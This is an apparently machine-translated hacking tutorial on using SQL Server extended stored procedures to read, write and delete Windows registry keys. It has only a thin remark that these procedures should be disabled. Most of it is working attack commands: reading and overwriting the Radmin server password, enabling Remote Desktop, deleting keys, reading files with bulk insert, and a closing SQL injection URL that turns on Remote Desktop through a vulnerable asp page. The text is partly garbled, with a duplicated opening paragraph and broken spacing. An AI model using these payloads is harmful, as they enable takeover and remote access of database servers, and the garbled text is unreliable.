Sqlserver contains some dangerous extended stored procedures that can be used to operate the Registry. In many cases, the following stored procedures Delete these stored procedures for server security. However, defense and security are equally important. The following are the specific registration methods.
Sqlserver contains some dangerous extended stored procedures that can be used to operate the Registry. In many cases, the following stored procedures Delete these stored procedures for server security. However, defense and security are equally important. The following are the specific registration methods.
SQL Server contains several extended stored procedures that can access the system. However, these extended stored procedures are not made public, and they have been available since SQL server 7.0,
They are retained in SQL server 2000 and may be deleted later. However, these stored procedures provide the ability to access the system in the current SQL Server version,
In addition, many people often use these extended stored procedures when using SQL Server to attack the system, so it is best to disable them in SQL Server.
Xp_regenumvalues returns all key values in the form of multiple Record Sets
Usage:
Xp_regenumvalues Root Key, subkey
For example, you want to see all the key values of HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run:
Use master
Exec xp_regenumvalues 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Windows \ CurrentVersion \ run'
Exec xp_regenumvalues 'HKEY _ LOCAL_MACHINE ', 'System \ RAdmin \ v2.0 \ Server \ Parameters'
Xp_regread returns the specified key value
Usage:
Xp_regread Root Key, subkey, key value name
Use master
Exec xp_regread 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Windows \ currentversion', 'commonfilesdir'
Exec xp_regread 'HKEY _ LOCAL_MACHINE ', 'System \ RAdmin \ v2.0 \ Server \ Parameters', 'parameter'
Get Password
Exec xp_regread 'HKEY _ LOCAL_MACHINE ', 'System \ CurrentControlSet \ Control \ Terminal Server', 'fdenytsconnections'
Remote Desktop enabled to 0
Xp_regwrite write
Usage:
Xp_regwrite Root Key, subkey, Value Name, value type, Value
Use master
Exec xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Windows \ currentversion', 'testvaluename', 'reg _ sz ', 'Hello'
Exec xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'System \ RAdmin \ v2.0 \ Server \ Parameters', 'parameter ', 'reg _ BINARY', 0xD7B7CB315B4E731D8E9EF886CE6DCB23
Exec xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'System \ RAdmin \ v2.0 \ Server \ Parameters', 'parameter ', 'reg _ BINARY', 0xD7B7CB315B4E731D8E9EF886CE6DCB23 ;--
Exec xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'System \ RAdmin \ v2.0 \ Server \ Parameters', 'parameter ', 'reg _ BINARY ','';--
New values must be cleared before being written.
If the modification is successful, the value is null.
Note that there are two value types: REG_SZ and REG_DWORD, which are equivalent to creating a new string value. REG_DWORD indicates an integer, which is equivalent to creating a New DWORD Value.
REG_BINARY
Exec xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'System \ CurrentControlSet \ Control \ Terminal Server', 'fdenytsconnections ', 'reg _ dword', 1 ;--
Disable Remote Desktop
Xp_regdeletevalue delete a value
Usage:
Xp_regdeletevalue Root Key, subkey, Value Name
Exec xp_regdeletevalue 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Windows \ currentversion', 'testvaluename'
Use master
Exec xp_regdeletevalue 'HKEY _ LOCAL_MACHINE ', 'System \ RAdmin \ v2.0 \ Server \ Parameters', 'parameter'
Xp_regdeletekey: delete key, including all values under this key
Usage:
Use master
Xp_regdeletekey 'HKEY _ LOCAL_MACHINE ', 'Software \ Microsoft \ Windows \ CurrentVersion \ testkey'
Exec xp_regdeletekey 'HKEY _ LOCAL_MACHINE ', 'System \ RAdmin \ v2.0 \ Server \ Parameters'
Running prerequisite SA
It may not be very useful, and I did not study it in depth, because I think it is more convenient to use xp_makecab for reading asp, and it is only for thinking extension.
Method 1. bulk insert aaa FROM 'C: \ 1.txt'
Method 2. xp_readerrorlog 1, 'c: \ 1.txt'
Enable remote desktop http: // 192.168.200.188/product_list.asp? Classid = 14; exec master .. xp_regwrite 'HKEY _ LOCAL_MACHINE ', 'System \ CurrentControlSet \ Control \ Terminal Server', 'fdenytsconnections', 'reg _ dword', 0 ;--
